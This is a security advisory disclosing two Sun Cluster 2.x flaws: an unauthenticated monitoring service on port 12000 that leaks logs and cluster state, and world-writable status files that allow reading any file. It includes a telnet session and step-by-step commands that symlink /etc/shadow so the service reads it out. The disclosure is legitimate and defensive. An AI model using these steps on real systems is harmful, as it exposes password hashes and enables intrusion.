Two Holes in Sun Cluster 2.x

[Dixie Flatline <echo8 () FIREST0RM ORG>]

Hole #1
-------
                
Summary
-------

Sun Cluster 2.x (Sun Microsystems' commercial high-availability product
for Solaris) leaks potentially sensitive information to local or remote
users.

Specifics
---------

In a standard Sun Cluster install, there is a service called clustmon that
runs on port 12000. It is used by the cluster's administrative tool
(hastat) for the exchange of information between cluster nodes. However,
the service doesn't do any kind of authentication whatsoever, and can be
used by any host which can connect to it to gain access to some fairly
sensitive data. It also has some amusing undocumented features. The syntax
used interactively is very similar to sendmail's help syntax, but if you
can't figure it out, the service will happily hold your hand:

echo8:{501} telnet foobar 12000
Trying 192.168.0.1...
Connected to foobar.
Escape character is '^]'.
220  foobar Monitor server version SC 2.1 (98/5/13 V2.1+) (Debug) ready.
help
214- The following commands are recognized:
214- NOOP                       - does nothing
214- QUIT                       - closes this connection
214- PORT inetaddr port         - data addr/port as a sequence of 6 numbers
214- DATE BEGINNING             - start at beginning of time
214- DATE NEW                   - start now
214- DATE CURRENT               - start with current logfile
214- DATE AFTER <datespec>      - specify a starting date
214- DATE AFTER <datespec> LOOP - wait for new entries to be appended to
logfile
214- OPEN servicename           - initiate a data stream
214- CLOS servicename           - shut down a data stream
214- HELP                       - show this list
214  Direct comments to cluster-help () sun com.

"open syslog" will echo out the entire contents of /var/adm/messages.

"open haconfig" will provide a listing of all of the other cluster nodes,
the names of each registered data service and logical host, full paths to
your start and stop methods, and the current state of your data services
and logical hosts.

Because in.mond runs as root out of inet, both commands will succeed
regardless of the local permissions on /var/adm/messages or the CCD
database. Even if you choose NOT to make this information available to
local users by putting restrictive permissions on the relevant files,
remote users can still access it.

"open hastat" will provide all of the information usually provided to
local superusers via /opt/SUNWcluster/bin/hastat, including:

* uptime of hosts
* status of public and private networks
* names and current locations of logical hosts
* state of HA monitoring on each logical host
* States of NAFO groups, including times of most recent failovers

It's interesting to note that the (local) hastat command is restricted to
the superuser. However, the network service is universally accessible.

"open sesame" will tell you that the cave is still blocked (I'm serious,
try it).

All of this information is available to ANY host which can connect to the
aforementioned port with a telnet client. While none of this really
constitutes a compromise, it is the sort of information leakage which can
be useful intelligence for a would-be attacker.

Workaround
----------

One could trivially use tcp wrappers to keep unauthorized hosts away from
the port in question.

Vendor Response
---------------

The vendor was notified on October 31, 2000. When I contacted Sun and
opened a case, the individual who responded to my case dismissed the
problem by saying that "the product was not intended for use in hostile
environments or on networks that have untrusted users." Sun also suggested
that perhaps they will remove the help functions from upcoming versions.


Hole #2
-------

Summary
-------

The HA-NFS data service (a component of Sun Cluster 2.x) has a security
hole that can allow local users to read any file on the system, regardless
of the permissions on that file. In order to exploit the hole, a clustered
system must be using HA-NFS, and the attacker must have a local account.

Specifics
---------

On a host running HA-NFS, the file called
/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>/status is created
by Sun Cluster with permissions set to 666.

The directory above it
(/var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>) is created mode
777.

The status file is read by in.mond to display the status of the HA-NFS
service. in.mond follows symbolic links. in.mond is most commonly executed
when called by the hastat utility, which can only be run by the superuser.
However, as described in hole #1, any remote user can connect directly to
in.mond and make full use of it from a telnet client.

To exploit this hole to view a file to which he does not have read access,
a local (unprivileged) user can do the following:

$ cd /var/opt/SUNWcluster/fm/fmstatus/nfs/<logicalhostname>
$ rm status
$ ln -s /etc/shadow status
$ telnet localhost 12000
< once connected to the in.mond service>
open hastat

... and watch as the shadow file is read out to stdout ...

Workaround
----------

Change the permissions on the files in question. Use tcp wrappers to keep
unauthorized hosts away from in.mond.

Vendor Response
---------------

Sun was notified on November 22, 2000. They did respond, stating that they
are investigating. I have decided to publish this now because I believe
that almost a month should be enough time to produce at least a beta-level
patch or at least a timetable for a fix.